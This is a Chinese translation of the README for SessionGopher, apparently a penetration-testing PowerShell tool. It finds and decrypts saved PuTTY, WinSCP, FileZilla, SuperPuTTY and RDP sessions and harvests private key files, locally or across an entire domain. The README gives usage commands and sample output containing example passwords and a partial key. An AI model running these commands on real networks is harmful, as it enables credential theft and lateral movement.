Copyright 2017 FireEye, 由 Brandon Arvanaghi (@arvanaghi) 创建
根据 Apache 许可证 2.0 版("许可证")授权; 除非遵守许可证,否则不得使用此文件。 您可以在以下网址获取许可证副本:
http://www.apache.org/licenses/LICENSE-2.0
除非适用法律要求或书面同意,否则根据许可证分发的软件按"原样"分发, 不附带任何明示或暗示的保证或条件。 有关许可证下的特定语言管理权限和限制,请参阅许可证。
SessionGopher 是一个 PowerShell 工具,用于查找并解密远程访问工具的已保存会话信息。它内置了 WMI 功能,因此可以远程运行。 其最佳使用场景是识别可能连接 Unix 系统、跳板机或销售点终端的系统。
SessionGopher 的工作原理是查询 HKEY_USERS 配置单元,获取所有曾登录过域内计算机的用户信息。它提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的已保存会话信息,并自动提取并解密 WinSCP、FileZilla 和 SuperPuTTY 的已保存密码。
在彻底模式下运行时,它还会搜索所有驱动器中 PuTTY 私钥文件(.ppk),并提取所有相关的私钥信息(包括密钥本身),以及远程桌面(.rdp)和 RSA(.sdtid)文件。
-Thorough:搜索所有驱动器中的 PuTTY 私钥(.ppk)、远程桌面连接(.rdp)和 RSA(.sdtid)文件。
-o:将输出数据保存到包含 .csv 文件的文件夹中。
-iL:提供一个包含主机列表的文件(每行一个主机),用于运行 SessionGopher。在 -iL 后提供文件路径。
-AllDomain:SessionGopher 将查询 Active Directory 获取所有域内系统,并对所有系统运行。
-Target:指定要攻击的目标主机。在 -Target 后提供目标主机。
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
要远程运行,您可以通过 -u 和 -p 标志为远程系统提供特权帐户的凭据。如果省略 -u 和 -p 标志,SessionGopher 将使用运行脚本的帐户的安全上下文(例如,如果您已作为 DA 帐户登录,或作为目标系统本地管理员帐户登录,或使用 runas 运行这两种情况之一,则无需提供凭据)。
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
或
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
或
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
这些命令中的任何一个都可以与 -Thorough 结合使用,但请注意,由于它会查询整个远程文件系统,因此会显著延长运行时间。不建议在查询超过少量系统时使用 -Thorough 模式。
通过添加 -o(输出到 CSV)远程运行效果很好,因为 SessionGopher 会累积所有找到的会话,并准确告知您找到该已保存会话的位置。
要让 SessionGopher 创建一个文件夹,整齐地包含提取会话的 .csv 文件:
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
... 就是这样。
访问 HKEY_USERS 中每个用户的已保存会话信息需要本地管理员权限。如果没有本地管理员权限,您仍将获得当前用户的已保存会话信息。
[+] 正在挖掘 Win7-Arvanaghi ...
WinSCP 会话
会话 : [email protected]
主机名 : 198.273.212.334
用户名 : admin-anthony
密码 : Super*p@ssw0rd
会话 : [email protected]
主机名 : 204.332.455.213
用户名 : Freddy
密码 : angelico1892
FileZilla 会话
名称 : BarrySite
密码 : imr34llytheFl@sh
主机 : 10.8.30.21
用户 : BarryAllen
协议 : 如果可用则使用基于 TLS 的 FTP
帐户 : BarryAllenAccount
端口 : 22
PuTTY 会话
会话 : PointOfSaleTerminal
主机名 : 10.8.0.10
PuTTY 私钥文件(.ppk)
路径 : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
协议 : ssh-rsa
注释 : rsa-key-20170116
私钥加密 : 无
私钥 : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
私钥 MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft 远程桌面(RDP)会话
主机名 : us.greatsite.com
用户名 : Domain\tester
Microsoft 远程桌面 .rdp 文件
路径 : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
主机名 : dc01.corp.hackerplaypen.com
网关 : rds01.corp.hackerplaypen.com
是否提示凭据 : 否
管理会话 : 不连接到远程主机上的管理会话
由 Brandon Arvanaghi(@arvanaghi)编写
此代码最初在 FireEye 开发。但后续任何更新均由作者在 FireEye 之外完成。